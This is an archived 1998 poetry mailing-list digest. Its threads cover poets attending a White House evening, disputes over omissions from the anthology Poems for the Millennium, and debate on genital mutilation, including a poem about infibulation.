Did anyone hear the NPR report yesterday about the Millenium night at the White House Wednesday night featuring American poets? It was a different list of attendees than either Jerry and Pierre's or Ron's (of course?) -- but Merwin, Ashbery, Hass, Pinsky, Dove, Forche (who I always associate with the ears on the general's table in El Salvador) were there, along with other, largely predictable, names who swim in the main stream -- (is Stanley Kunitz still alive? Donald Justice?) Anyway, there was one mild bit of frisson in the report when the report mentioned that some poets had been invited but chose not to attend -- one was Hayden Carruth, who was then asked "Are you saying that poets like Haas and Pinsky are hypocrites, then?" There was a long pause, and Carruth then said "I'd really rather not comment." I'm sure 95% of folks listening had no idea of whom he was talking about, but it was enough to make me go "whoa"! Adrienne Rich's refusal of a big poetry prize last year was also mentioned at about that time . . .

I bring up the report not because anyone on this list would envy those present, or want to shoot the shit with Bill (who was actually quite funny, saying that

memorizing a hundred lines from _Macbeth_ taught him that political fame was fleeting), but to raise more generally the question of political action (viz Afghanistan) and what it has to do with poetry. "Poetry makes nothing happen," said Auden, famously, and Ashbery, in this report, agreed: "Poetry is poetry, and social action is social action, and never the twain shall meet." Forche agreed. But they were there Wednesday night. Wasn't that a political act? I think of the answer given by Ed Dorn in an interview, when someone asked him what the function of the poet was in "today's society," and he said something like, "surely the function of the poet is to stay away from all permanent associations with power."

Easy enough to do, most of us would say! Maybe . . . but what is this questioning of the inclusion list of anthologies ABOUT, really? Is it really about a high-minded attempt to shape the literary tastes of a generation, or is it about the anxiety of career and one's place in the canon? (I mean, I'm still pissed that Andrei left me out of _Staying Up Late_, and that was ten years ago!) I applaud Laura's comment, to the effect, that we should just let a thousand flowers bloom, and the more anthologies published with different people in them the better. Is it really as simple as that? Or does arguing about the people selected for the latest big anthology really just planning the White House dinner party for the year 2020?

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613. **Brent Long**
Re: Poetry at the White House, Anthologies
Fri 24 Apr 1998

I did hear the NPR story you mentioned, and have mixed feelings both about those attending and those who refused to attend, which I will not bore the list with. Interesting post, however, Safdie. And yes, Kunitz is still alive.

At 03:34 PM 4/24/98 -0700, you wrote:
>Did anyone hear the NPR report yesterday about the Millenium night at the
>White House Wednesday night featuring American poets? It was a different
>list of attendees than either Jerry and Pierre's or Ron's (of course?) --
>but Merwin, Ashbery, Hass, Pinsky, Dove, Forche (who I always associate with
>the ears on the general's table in El Salvador) were there, along with
>other, largely predictable, names who swim in the main stream -- (is Stanley
>Kunitz still alive? Donald Justice?) Anyway, there was one mild bit of
>frisson in the report when the report mentioned that some poets had been
>invited but chose not to attend -- one was Hayden Carruth, who was then
>asked "Are you saying that poets like Haas and Pinsky are hypocrites, then?"
>There was a long pause, and Carruth then said "I'd really rather not

>comment." I'm sure 95% of folks listening had no idea of whom he was talking
>about, but it was enough to make me go "whoa"! Adrienne Rich's refusal of a
>big poetry prize last year was also mentioned at about that time . . .
>
>I bring up the report not because anyone on this list would envy those
>present, or want to shoot the shit with Bill (who was actually quite funny,
>saying that memorizing a hundred lines from _Macbeth_ taught him that
>political fame was fleeting), but to raise more generally the question of
>political action (viz Afghanistan) and what it has to do with poetry.
>"Poetry makes nothing happen," said Auden, famously, and Ashbery, in this
>report, agreed: "Poetry is poetry, and social action is social action, and
>never the twain shall meet." Forche agreed. But they were there Wednesday
>night. Wasn't that a political act? I think of the answer given by Ed Dorn
>in an interview, when someone asked him what the function of the poet was in
>"today's society," and he said something like, "surely the function of the
>poet is to stay away from all permanent associations with power."
>
>Easy enough to do, most of us would say! Maybe . . . but what is this
>questioning of the inclusion list of anthologies ABOUT, really? Is it really
>about a high-minded attempt to shape the literary tastes of a generation, or
>is it about the anxiety of career and one's place in the canon? (I mean, I'm
>still pissed that Andrei left me out of _Staying Up Late_, and that was ten
>years ago!) I applaud Laura's comment, to the effect, that we should just
>let a thousand flowers bloom, and the more anthologies published with
>different people in them the better. Is it really as simple as that? Or does
>arguing about the people selected for the latest big anthology really just
>planning the White House dinner party for the year 2020?
>
>

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614. **Henry Gould**
Re: writing through
Fri 24 Apr 1998

Ronald Johnson erases parts of PARADISE LOST in order to produce RADI OS. Was it necessary in order to write ARK? There are serious poets who can't take poetry seriously in an uneraserious era. Or perhaps this was a serious endeavor and I'm being obtuse again. Pope writes an epic about cutting a lock of hair. To "rewrite" so obviously seems so conflictedly serious/ unserious. And then came the Glorious Revolution(s)... Intertextuality is progressive or reactionary? Cheese smells no matter what.

- Henry Gould

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615. **morpheal**
Re: Women/culture/torture
Fri 24 Apr 1998

> *But these examples are not (in my mind) comparable to being STONED TO DEATH for not "choosing"...*

Or those who fail to choose being driven insane and / or driven to suicide ?

In the latter, most common, instances is there any difference from being murdered ?

Somewhat aside to the discussion of Afghanistan, the current Pope of the Catholic church has condoned suicide for those who cannot take the pressure any more. In other words, the Pope, has condoned murder. Pressure them until they kill themselves since we can no longer stone them, torture by means of the Inquisition, or burn them at the stake.

Oh, the world has come a long way from the burning of witches.

Now a religious leader says what is essentially: "have them kill themselves". What wonderful progress. Civilization at last ! A truly Socratic tradition.

As for other traditions having the same tendencies....I am sure they do.

> *It seems to me that the cultural directive in these examples (staying indoors, being unambiguously sexed, having your clitoris removed) is quite distinct from the punishments that are doled out for refusing to comply.*

The very common, but foreign to North America, practice of removing the clitoris is to destroy a woman's sexual enjoyment. Some people, quietly, believe that that is _necessary_ or a woman will be likely to be unfaithful to her husband. Also that she would want too much from her husband so the removal of the clitoris means that she will not marry on the basis of gaining sexual satisfaction. At least that is how much I have gleaned as to that particular practice.

As far as I can determine it is common in many Islamic countries, but is more ancient in origins and more widespread as to origins than that particular tradition. Coincidence in a lot of instances, that both traditions happen in the same locations among the same peoples.

The world is not a civilized place.

Do not dream for an instant that the primitive, brutal, cruel, practices of the past, including religious and secular practices, have been driven from this

world as the true demons that they in fact are. If there are any demons then they surely are the demons incarnate.

M.

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616. **Gwyn McVay**
Re: Poetry at the White House, Anthologies
Fri 24 Apr 1998

Safdie Joseph wrote:
>
> but Merwin, Ashbery, Hass, Pinsky, Dove, Forche (who I always associate with the ears on the general's table in El Salvador) were there,

Yep yep yep, and WCW is that wheelbarrow guy. Astute bit of reader-response, eh.

along with other, largely predictable, names who swim in the main stream -- (is Stanley Kunitz still alive? Donald Justice?) <<

Yes, both. Neither one makes my most-frequently-bookmarked list, but is mainstream equivalent to actual decease? Do people die of writing sonnets? Please advise.

Gwyn "I'd rather drink expensive shots" McVay

↑ Index

617. **Henry Gould**
(no subject)
Fri 24 Apr 1998

Yes, both. Neither one makes my most-frequently-bookmarked list, but is mainstream equivalent to actual decease? Do people die of writing sonnets? Please advise. Gwyn "I'd rather drink expensive shots" McVay

Yes, Gwyn, but it's only a little death.

- "Henry" Gould

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618. **Aviva99999**
Re: The Book of Absences
Fri 24 Apr 1998

In a message dated 98-04-24 11:55:47 EDT, you write:

<<
On Fri, 24 Apr 1998, ScoutEW wrote:

> *Silliman give em a break.. if you think there should be inclusions then go edit your own anthology.. >>*

While I am not interested in arguing with, nor supporting, Silliman's ideas for the poets that should have been included in this Rothenberg/Joris "Poems for the Millenium II" anthology...I find Silliman's tone unnecessarily "blaming." There's room for another anthology by Silliman, or anyone else.

The misconception that anthologies can inclusively and comprehensively "represent" a period, a genre, etc., has been around long enough, and has been lamented over long enough, that I think we should retire it.

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619. **Aviva99999**
Re: The Book of Absences
Fri 24 Apr 1998

In a message dated 98-04-24 13:28:08 EDT, you write:

<< I may be reasonable to expect that poems and not names are driving the fame train. >>

Yes! and Yes! Yes! Yes!

Thank you.

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620. **Henry Gould**
Re: Poetry at the White House, Anthologies
Fri 24 Apr 1998

On Fri, 24 Apr 1998 15:34:41 -0700 Safdie Joseph said:
>"Poetry makes nothing happen," said Auden, famously, and Ashbery, in this
>report, agreed: "Poetry is poetry, and social action is social action, and
>never the twain shall meet." Forche agreed. But they were there Wednesday
>night. Wasn't that a political act? I think of the answer given by Ed Dorn
>in an interview, when someone asked him what the function of the poet was in
>"today's society," and he said something like, "surely the function of the
>poet is to stay away from all permanent associations with power."

Poetry is a social action.
This story is a parable. Power corrupts... language.
Hurray for Carruth & Dorn (& Joe Safdie).

Nevertheless: poetry is not a subculture. The poet inhabits a confrontation by default. I.e. the truth will out... - Henry Gould

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621. **Aviva99999**
Re: The Book of Absences
Fri 24 Apr 1998

In a message dated 98-04-24 14:42:43 EDT, you write:

<< Sure, the nature
of anthologizing demands that we raise these alerts, >>

What, in your view, IS "the nature of anthologizing," and what, specifically, would these "alerts" serve to accomplish? I'm interested in understanding your viewpoint. I'm especially interested in understanding what you, and other folks, expect from anthologies, and I'm further interested in examining whether our expectations might be changed, or whether anthologizers need to conform more to such expectations, or...?

↑ Index

622. **Schuchat Simon**
Re: a more serious query
Fri 24 Apr 1998

---

another instance of writing through or translations from English would be manymany poems by Gerard Malanga, e.g., take "To a young heiress" and "To the Harbormaster" (Frank O'Hara) and see how the former is a demetaphoricized, etc, version of the latter. There's an anecdote I vaguely remember about O'Hara and somebody else listening to a Malanga reading and picking out their own (and others) poems as the models/originals for everything.

is Gerard about to be revived? I saw a photo of his of Andrew Wylie in a recent New Yorker and journal excerpts were published somewheres (can't remember where).

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623. **Aldon Nielsen**
Vase of Fresh Language
Fri 24 Apr 1998

On Thursday evening Michael Davidson and David Bromige teamed up for a reading at Loyola Marymount University's campus -- spotted in the audience were Chris Reiner, Will Alexander and Marjorie Perloff. Thanks to United

Airlines, Bromige had an unexpected opportunity to entertain audiences at the San Francisco airport in a rare three hour show, while Maera Schreiber and Davidson spoke of Zukofsky over dinner. But Bromige abrupted upon the scene at last, and the reading was on. "You Were Saying," Davidson read, from new work in progress, followed immediately by its shadow poem, echoing voice, re-write, "Footnote: Enthymeme." (footnote to self: remember to explain to students next week what an "enthymeme" is)

to please good men
is unfortunate
given a square
of which the novel

thing is not proportion
but the action
performed there
that proves its opposite

"Henry James in Hoboken" was a personal favorite. New Davidson book en route soon.

Bromige read, among his newer works, "2 from T as in Tether," and yes, that does amount to two for T. "The other has been ingested / I stand in the safeway and smile." Not content to read from just ONE not-yet-printed volume, Bromige also read from the most timely NOT SANE ENOUGH FOR THE DEATH PENALTY.

I do not believe in psychology
What did it ever do for me

Except provide a living
For doctors who cared less

But were polite to me
As one form of domination

A state I appear to prefer
Leastwise in my dreams

Davidson and Bromige, who do not appear in _Poetry for the Millennium_ but you can xerox their poems and lay them into your copy of that or any other anthology, re materialized on Friday at noon to regale a small audience of students and friends with their bemused and astute assessments of one another. It all went swimmingly, as Bromige splashed off to his weekend and Davidson picked up a double-expresso before heading down the 405.

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624. **David Zauhar**
Re: a more serious query(Gerard M.)
Fri 24 Apr 1998

On Sat, 25 Apr 1998, Schuchat Simon wrote:

> *is Gerard about to be revived? I saw a photo of his of Andrew Wylie in a recent New Yorker and journal excerpts were published somewheres (can't remember where).*

I started wondering about that, too: in Reva Wolf's book, _Andy Warhol, Poetry and Gossip in the 1960s_ (1996 or 97, U of Chicago Press), he gets more attention than any other NY poet, including Ashbery, Berrigan, and even O'Hara. Obviously, it's because of his proximity to The Factory compared to those others, but it was interesting (and at times disturbing) to see his poems get such close attention in that company.

David Zauhar
University of Illinois at Chicago

"I believe that the devil is in these poets. They destroy all universities. And I heard from an old master of Leipsic who had been Magister for 36 years that when he was a young men then did the university stand firm, for there was not a poet within 20 miles."

Epistolae Obscurorum Virorum, ii.46. Quoted in Helen Waddell's _The Wandering Scholars_

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625. **Gwyn McVay**
Re: [Fwd: Re: Poetry at the White House, Anthologies] (fwd)
Sat 25 Apr 1998

I asked, and got this answer:

---------- Forwarded message ----------
Date: Sat, 25 Apr 1998 12:00:55 -0400 (EDT)
From: "CAROLYN L. FORCHE-MATTISON" <[redacted]>
To: Gwyn McVay <[redacted]>
Subject: Re: [Fwd: Re: Poetry at the White House, Anthologies]

Dear Gwyn, The White House event went very well. I was a bit disappointed that the only avant poet there was Charles Bernstein. But the invitee lists were drawn from organizations, primarily...The Academy of American Poets, the NEA, etc. People there included Ashbery, Levine, Merwin, Dove, Pinsky, Hass, C.K. Williams, James Tate, William Meredith, Lorna Dee Cervantes,

Jorie Graham, David Mura, Garrett Hongo, Kate Daniels, C.D. Wright, Forrest Gander, Heather McHugh, Frank Bidart, Yusef K., Lucille Clifton, Anthony Hecht, Stanley Plumly, Michael Collier, Susan Shreve, Alan Cheuse, Mark Doty, Carol Muske...more, but I can't think of them. The Clintons were both there, and didn't leave until 11:30 or so. It started at 6:30 p.m. It was a celebration, really, of the history of American poetry. Readings were from Dickinson, Whitman, Frost, Williams, O'Hara, Countee Cullen, Robert Hayden, Elizabeth Bishop...more, but again, I can't think of all. Dove, Pinsky and Hass read, and all read quite well. The reading was broadcast on C-Span, and to 44 satellites and the internet. Then we had dinner. It was all very moving and lovely, and I felt very fortunate to have been part of it. Oh, yes, Galway Kinnell and Louise Gluck were also there. Some I noticed who were not: Creeley, Kunitz, Kumin, Kizer, Olds, and a host of experimental poets. Hayden Carruth was the only person to decline, and did so because he thinks the Clintons are not supportive enough of the arts. I think it is the legislative branch that hasn't been supportive, so I guess I disagree with Hayden. But I respect his decision. I'm not sure that going to the White House for dinner constitutes an association with "permanent power." But I come out of a human rights tradition, and we'll go anywhere and talk to anyone who will listen... Best, Carolyn

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626. Matt Kirschenbaum

Blake Archive's April Update

Sat 25 Apr 1998

The latest news of work completed here at the Blake Archive. Apologies for cross-posting. Please forward as appropriate. Matt K.

--

The editors of the William Blake Archive <http://www.iath.virginia.edu/blake> are pleased to announce the publication of seven new electronic editions of Blake's illuminated books. They are:

The [First] Book of Urizen copy G
The Book of Los copy A
The Book of Ahania copy A
The Song of Los copy B
America, a Prophecy copy A
Europe, a Prophecy copy E
Visions of the Daughters of Albion copy F

We had announced _Urizen_ copy G as forthcoming two months ago, but formatting the double-columned text diplomatically in SGML for both Netscape and Internet Explorer proved more taxing and time consuming than anticipated.

Such are the joys and tribulations of electronic publishing. Solving the problems there, though, ensured diplomatic transcriptions for Blake's other books with double-columned texts, _The Book of Ahania_ and _The Book of Los_. Together, these three works are often referred to as Blake's Bible of Hell or, simply, the Urizen books. _Urizen_, of which there are only seven extant copies, was first produced in 1794, color printed to form copies A, C, D, E (untraced), F, and J. It was printed again in 1795 to form copy B, which was produced as part of a set of illuminated books printed on large paper, and then one last time in c. 1818 to form copy G, which was produced in Blake's late printing and coloring style. The editors are currently working on copies A, B, C, and F and expect to have them in the Archive by the end of the year. _The Book of Ahania_ and _The Book of Los_ exist in unique copies, with only a few proof impressions extant. They were printed in 1795 and executed in intaglio instead of in relief etching, the technique Blake normally used for his illuminated books. Although their texts are printed in intaglio, their frontispieces are beautifully color printed from the surface of the plates.

With _The Song of Los_, which consists of two parts entitled "Africa" and "Asia," we complete Blake's other series of illuminated books, sometimes known as the Continental Prophecies, begun in 1793 with _America_ and continued in 1794 with _Europe_. The copy of _The Song of Los_ included here is one of six extant; all were color printed in the same printing session in 1795.

With fourteen complete copies extant, _America_ is not as rare as these other illuminated books, but copy A, which was printed and colored in 1795 as part of Blake's large-paper set of books, is, along with copies K, O, and M, one of only four colored copies-- and it was the model for copy K. Moreover, only it and copy O have the last four lines on plate 4, which was masked in the printing of the other copies. The Archive will include copies M and O (c. 1807 and 1818) later this year.

Only nine copies of _Europe_ are extant, and only two of those, copies H and O (1795 and 1818), have plate 3, the Preludium. The Archive will include both of these copies by the end of the year. Copy E, included here, was lightly color printed on both sides of the paper in 1794 and joins copy B, color printed more heavily on one side of the paper the same year.

Visions of the Daughters of Albion copy F is an exquisitely beautiful copy, heavily color printed (especially its frontispiece) in c. 1794, and never before reproduced. It joins copies C and J (both 1793), and will be joined later this year by copies G and P (1795 and 1818).

All of these editions have newly edited texts; all images in the editions were scanned from either 4x5 or 8x10 transparencies, nearly all of which were made specifically for the Archive. Like our other editions, these are all SGML-

encoded, fully searchable for both text and images and supported by the unique Inote and ImageSizer applications described in our previous updates.

The Archive now contains sixteen copies of ten illuminated books. In the coming months, we will be adding copies of _All Religions are One_, _There is No Natural Religion_, _For the Sexes_, _Milton_, and _Jerusalem_, along with copies of books already in the Archive but from different printings. Our goal is to have the entire illuminated canon online this year. In addition, work continues on the SGML edition of David V. Erdman's _Complete Poetry and Prose of William Blake_, which we anticipate releasing sometime this spring.

Morris Eaves
Robert Essick
Joseph Viscomi

↑ Index

627. Pierre Joris
Re: The Book of Absences
Sat 25 Apr 1998

I'm only getting to Silliman's post re MILLENNIUM II now, after too full a day in the saltmines of the U.

My irritation at his post has not diminished, however, -- cheap shot is right, as Jerry put it in his reply.

Here is someone who put together a large (600+ pages) anthology covering one small neck of the poetic woods in one country (treed, as he is, in these States) during one very limited period -- & included something like a hundred names of those he couldn't or wouldn't include. Such a one should know better than to hastily assess a somewhat larger (850 pages) book that tries to cover a much wider period (postwar onward) on as global a scale as possible, by making an insta-list of those (mainly Americans) not included and dismissing the book on those grounds.

The point is, an anthology, as any book, needs to be judged by what it is & does , i.e. by the writing that it proposes, and not by what is is not, i.e. does not include and didn't mean to be. The fact that Silliman's U.S. TREE omits a great number of those American poets of that period _I_ think very highly of, does _not_ diminish my interest and pleasure in his book. I'm not interested in reading it for what I already know or am familiar with, but to discover what I don't yet know. Otherwise it's all done with mirrors. So that the pleasure & instruction Silliman's book provided was to discover poets I didn't know or didn't know well, or rediscovered inside the specific articulation created by his book — & that, I believe, is or should be the aim of any anthology.

The bitching about american-centeredness (a question we ourselves address in the introduction, a fact neither mentioned nor discussed by Silliman, who seems to have perused only the index, and even that rather shoddily -- some of the poets he mentions as absent are in fact in the book) is odd when the post itself is deaf & dumb in relation to what, finally, is core to MILLENNIUM, namely its international intent, and the -- at least to Jerry & me -- fascinating and illuminating juxtapositions that happen in the process.

Again, the intent of the book is to map & link territories, to foreground areas of experimentation, to point to ongoing possibilities, NOT to do a headcount of the best and brightest canonic or anti-canonic heads. In that sense, Silliman's critique is Vendleresque (though she would have, obviously, a different list of individual poets not represented). ((There would, in this respect, be another, more intelligent way of looking at "absences" — namely in terms of strategic absences in a quasi "official anthology" i.e. one published by a major University Press, with a telling subtitle.))

Given the to me surprising shoddiness of Silliman's response, his critique is not, as he would like to suggest, "devastating for [our] book's credibility" — it is, unhappily, so only for his own critical acumen.

Pierre Joris

[redacted] wrote:

> *Jonathon Mahew's question about the lack of Spicer in Poems for the Millenium (vol. 2) is a good one, given that if you reduced the last 50 years of English language poetry to just, say, 20 people, Spicer would have to be among them. Maybe even to 10 people. Maybe even to five.*
>
> *It's really devastating for the book's credibility, even more than the inclusion of anyone who ever attended a Fluxus event (or the inclusion of songwriters a la Tom Waits, Robert Johnson and Dizzy Gillespie, all of which makes them seem like doofuses, which none ever were [not to mention the thereby curious absence of Jim Morrison or Leonard Cohen or Nanci Griffith or Public Enemy or Lennon & McCartney or the Glimmer Twins or Bob Dylan, if one is seriously trying to include the antipoetics of song]).*
>
> *But Spicer's absence, even tho it's on a scale of missing Stein or Pound, isn't alone. I note the following omissions: Benson, Brautigan, Bromige, Bronk, Ceravolo, Thomas A. Clark, Corbett, Curnow [father & son], Dahlen, Darragh, Davey, Davidson, Dewdney, Dudek, Estrin, Fraser, Grahn, Grenier, Guest, Hickman, Hocquard, F. Howe, Inman, Ron Johnson, Jonas, Koch, Kulik, Kyger, Lansing, Mandel, Marlatt, Melnick, Moriarty, Mullen, Natambu, Padgett, Parshchikov, Pearson, Pickard, Pleynet, Prigov, Robinson, Roche, Roubaud, Schuyler, Scott, Stanford, Stanley, Thomas, Tomlinson, Tysh (either one), Wah, Welch, Jonathon Williams, Zhdanov.... And that's just a one-time perusal of the index and the glaringly obvious omissions from traditions I*

> *have some feel for. One can probably make the argument that the book is also amazingly Americo-centric, tho the roster above wouldn't particularly solve that problem.*
>
> *This really isn't a Pierre & Jerry issue, tho the Spicerlessness of it all is a "gotcha" that foregrounds the problem. In the American Tree is certainly vulnerable to the question of why McCaffery or Dahlen or Scalapino, say, are not there. And the absence of Joanne Kyger, easily the most influential progressive woman poet of the 1960s and '70s, from Moving Borders is every bit as much a boggler as Spicer's lacuna here.*
>
> *Anthologies are, in this sense, impossible. Everyone is going to have a blind spot, since the last I checked everyone was still human and full of such frailty. It's why I used such a sociological definition for determining inclusion in the Tree. Tho, of the poets who met the formal terms I used, I still managed to miss Abby Child, which looks really dumb from the hindsight of 14 years.*
>
> *Ron Silliman*

--
==========
pierre joris 6 madison place albany ny 12202
tel: [redacted] fax: [redacted]
email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
“All my life I’ve heard
one makes many”
  — Charles Olson
==========

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628. MAYHEW
writing through
Sat 25 Apr 1998

Sat's digest is full of great responses to my query. Thanks to all. I was originally thinking of books that, instead of being surreptitious rewritings of precursors, as Harold Bloom claims about everyone in American poetry stuck on Emerson, do so quite overtly.

Don Byrd is right about this not being a genre per se.

Interesting list from Sillimon of omissions. Yet this is not after all an anthology of AMERICAN poetry, but claims to represent much more. While I have a hard time seeing justification for Spicer's absence, on the whole American poetry is OVERrepresented--unless we think the 70th most significant American poet is more important than anyone from Spain or Tunisia or numerous other nations.

Yet Poems for the Millenium is still a wonderful book, whatever its flaws--what is there is valuable despite what isn't and should be.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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629. Rachel Levitsky

Re: Bachelard's take

Sat 25 Apr 1998

"in addtion to sexual and other forms of abuse, we should think about
> "our" own genital mutilation that is often rendered on peoples born with
> "ambiguous genitalia" or so-called intersexuals."

Bill--

so right. This shit makes me insane. I read a great article in, of all places, Rolling Stone Magazine about John/Joan Case in which after a botched circumcision, the parents of twins agreed to let the murderous "sexologist" John Money turn the baby, not such a baby--18 mos--into a girl. It didn't work, John/Joan always felt he/she was male, and finally forced the truth out of dad, sex changed back to male, was found out in small town, ostracized, suicide attempts, and finally and luckily a happy marriage but a tortured and destroyed psyche and physique. Money published lies about the success of the experiment and is still employed and revered and taught.

argh!

RDL

↑ Index

630. **Judy Roitman**

Re: Bachelard's take

Sat 25 Apr 1998

> *"in addtion to sexual and other forms of abuse, we should think about "our" own genital mutilation that is often rendered on peoples born with "ambiguous genitalia" or so-called intersexuals."*
>
> *Bill--*
>
> *so right. This shit makes me insane. I read a great article in, of all places, Rolling Stone Magazine about John/Joan Case in which after a botched circumcision, the parents of twins agreed to let the murderous "sexologist" John Money turn the baby, not such a baby--18 mos--into a girl. It didn't work, John/Joan always felt he/she was male, and finally forced the truth out of dad, sex changed back to male, was found out in small town, ostracized, suicide attempts, and finally and luckily a happy marriage but a tortured and destroyed psyche and physique. Money published lies about the success of the experiment and is still employed and revered and taught.*
>
> *argh!*
>
> *RDL*

Anne Fausto-Sterling (a feminist biologist who is well known in women's studies) has done a lot of research on this stuff, I think she might even have a book out. She claims that there are naturally 5 (did I get that number right?) genders, and had some articles about this in popular media a couple or so years ago. She is very passionate and humane and quite wonderful. Anyone interested in this would be well advised to look her stuff up.

And what this says about the two standard genders...

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

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631. k. lederer
EXPLOSIVE #5
Sun 26 Apr 1998

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632. Dougolly
women, torture, etc.
Sun 26 Apr 1998

We have reached the limits of poetry: Western people's ignorance of traditionalist societies is too profound. Like Alice Walker and Pratibha Parmar working in West Africa, you could make a courageous film on the subject. Failing that, a poem might yet become a sort of film shot from a distance, an attempt to project on to the air, via a beam of good wishes, an imagined ceremony for the sake of young girls who are infibulated without ceremony by nomad Somalians, almost on the move.

The Infibulation Ceremony

A Jeep, its shock absorbers gone, thumps
across pocks in the level desert scrub
faster than the black-faced sheep with fat tails
prodded onwards by the nomad women.

If we have time and water
we stop and let the clan drink;
if we have neither we drive on
inventing our film about infibulation.

We drive up to a low escarpment
and look down on a hollow littered with people,
livestock scattered among the rocky slopes
by a well cairned with boulders.

Near this home well on their April journey
the women dismantle the hut sticks
from the ship slew of camel humps,
setting up Nissen huts of mats and skins.

Herded then by a man, disburdened
camels sigh and settle down
in the rubbled hollow of the home well
in the northern Somali Republic.

Off to the side -- we swivel the camera --
where thorns are piled for the fence
the nomads are busy at their camp
fastening the huts with bark ropes.

One little hut that's new
arrived on the coarse grass from the sky.
It's the virgin spirit placed there somehow,
dazzling the nomads with the sunshine on it.

They sew up its door flaps with the ropes
so no man may crawl through
a tiny slit left at the bottom
like a button hole in a Western shirt.

Then on dry highlands of Somalia
we set their young girls to go dancing
in virginity round the sutured hut:
this is their sorrow in private places.

They dance in a hurt, stiff motion,
stick-legged as if avoiding stones
blood gleaming on brown thighs
tears in expressionless eyes.

The mouths of these children are silenced
by tradition: that they be made clean,

that they not become promiscuous,
that they be desirable for marriage

with a sewn vagina, stripped of pleasure,
crossed with thorns, as if the surgeons
had sutured the mouth of a healthy baby
leaving the palette uselessly cleft.

But this film is fantasy imagined from books
and my inability to suffer the thorns
that make religions stand erect, or that make
a temple's entrance so narrow.

We shoot the girls from a distance, telephoto,
forgetting the funds we raised in Britain,
forgetting the clan-lords warring in Mogadishu,
forgetting the entrenchment of Islam

into hard-line law, here called Shafi'i;
while the West threatens Islam with bombs
or rich products bearing our labels,
may our Jeeps not insult their culture.

We know these illiterates will never see our film;
so will the children make their children dance
that queer dance in this cinema-wilderness?
Our Jeep moves on, its tracks soon blown over.

The film is more penetrant than propaganda;
for it shows the silence here
and the thorny look in the girls' eyes;
it shows the male wind, harsh, hot.

[Dancing and film imagery influenced by Alice Walker's and Pratibha Parmar's work in West Africa. I have recently learnt that the self-declared independent Republic of Somaliland, whose capital is Hargeisa in the north-west, has been trying to eradicate female circumcision by 2000 and that UNICEF is backing them.]

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633. **Dougolly**
The Book of Absences
Sun 26 Apr 1998

I have always been one of the first to recognise US poetic/artistic achievements and cultural generosity. But it may be helpful to say that, as a Brit living in

Paris; I find the tone of much of this anthology squabble absurd. As I've been left out of the very narrow Brit contribution I have no axe to grind when I say that most US poets have been just blind to what the anthology has done. For the first time ever an anthology this size is truly international. So far, the debate reminds me of the closing week of Maastricht Treaty discussions when, with so many Third World countries, especially in Africa, cast into client status by US-European gerrymandered global trading regulations, the US and French delegations hogged nearly all the debating time for snarls over the cinema and soy bean industries.

Do we have to have more of this US neo-colonialism about an anthology already dominated by one nation whose denizens seem to want more of the action yet?

I can see bias in the selections as easily as anyone else: what did anyone expect with a window on the world this wide -- the anthologist as universal mind? An anthology is always a way-stage, not an eternal inscription on the final peristyle. Fergodssake stop griping, respect what a grind it is for editors both to retrieve so much good poetry from all over, and to hold out, in the teeth of such attitudes, such hope of the more vital internationalism to come. For surely that's the real avant-garde?

Greetings, nonetheless.

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634. **Bob Grumman**
Re: The Book of Absences
Sun 26 Apr 1998

I haven't seen the second volume of the new anthology but a reliable source tells me that its introduction emphasizes that it was not intended to be a "best of" collection. Ergo, though it leaves out a lot of poets I would have liked to have seen in it, and has a number of poets in it that seem second-rate to me, I applaud it. It took on an impossible job and seems to have done it about as well as the job could have been done.

--Bob G.

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635. **morpheal**
Re: Poetics of Freedom (was women / torture, etc.)
Sun 26 Apr 1998

> *We have reached the limits of poetry: Western people's ignorance of traditionalist societies is too profound. Like Alice Walker and Pratibha Parmar working in West Africa, you could make a courageous film on the*

> *subject. Failing that, a poem might yet become a sort of film shot from a distance, an attempt to project on to the air, via a beam of good wishes, an imagined ceremony for the sake of.....*

I am not at all certain what you are saying. Are you saying that as sarcasm or as fact ? It is not quite clear where you yourself stand on the matter.

It seems to me to be a very complicated, but essential, question, verging closely into the question of the very nature of poetics and the functions of poetic expression. I do not want to belabour the matter, but I feel a need to say what I feel needs to be said and then leave it to dispute.

First of all, western (meaning western European and North American), ethnography, anthropology, sociology, studies of comparative religions and philosophies, are definitely the best in the world and a large part of those truly attempt and sometimes succeed at being impartial, objective, rigorous and scientific.

As to the pragmatic worth, or value, of ANY traditional practice we might also ask about it in terms of evaluation:

1). Does it increase the greatest sustainable freedoms for the greatest number of persons ? (Nothing has ever truly achieved this ideal.)

2). Does it provide a positive, truly wanted, freedom ? For instance even a seemingly silly practice such as the wearing of purple robes with white polka dots on them can be a positive provision of a truly wanted freedom if someone wants to wear such robes within a society. The individual is made free to wear those robes, without incurring harm from others, by means of a social practice that sustains that freedom. That social practice is not immediately obvious, but is the basis for the freedom to wear purple robes with white polka dots, as well as being the basis for other specific expressions of freedom.

3). Does it provide a freedom to some that does not significantly harm the freedoms of others, including the freedom from enduring added psychological and/or physical suffering. For instance the dervish might be free to dance a dervish, but not to force others to do the same. On the other hand, Pythagorean forbidding the eating of beans is unthinkable, as beans are a source of well being to many. The Pythagorean cannot be allowed to force his ways on others, taking away their freedom to eat beans. However, the Pythagorean could be free to not eat beans.

3). Does it impose real psychological and/or physical sufferings that are otherwise avertable, or that would not otherwise occur ?

4). Does it prevent real psychological and/or physical sufferings that are unwanted by the sufferers and are averted by the practice ?

If the practice does not provide and/or sustain a positive, truly wanted, freedom, and/or if the practice causes physical and/or psychological sufferings that would otherwise have been averted, then surely the practice cannot claim "right". Likewise if the practice does not truly, effectively, prevent unwanted increase in psychological and/or physical sufferings, as a negative freedom from those unwanted sufferings, then it cannot claim "right". The practice then is surely at best dysfunctional and at worst completely oppressive. (Though we might always fall short of the ideals.)

We might examine any practice in a similar kind of manner.

I think that we need to realize that traditional practices are often more wrong than right. We still tend to revert to the idea that everything traditional is of value, including every brutal and uncivilized practice derived from ancient ignorance. Simply because something is traditional, cannot make it right, or best, or even good. Neither can the fact that that is how everyone does it. Everyone could be wrong. We have to be more critical of our own institutions, our own customs, our own beliefs, in the name of progress, as well as being objectively critical of the institutions, practices, customs, and beliefs of other cultures. We cannot simply accept them because they are other than our own. We certainly cannot give them more acceptance as if that is the appropriate response to what is more alien rather than objective, critical, evaluation.

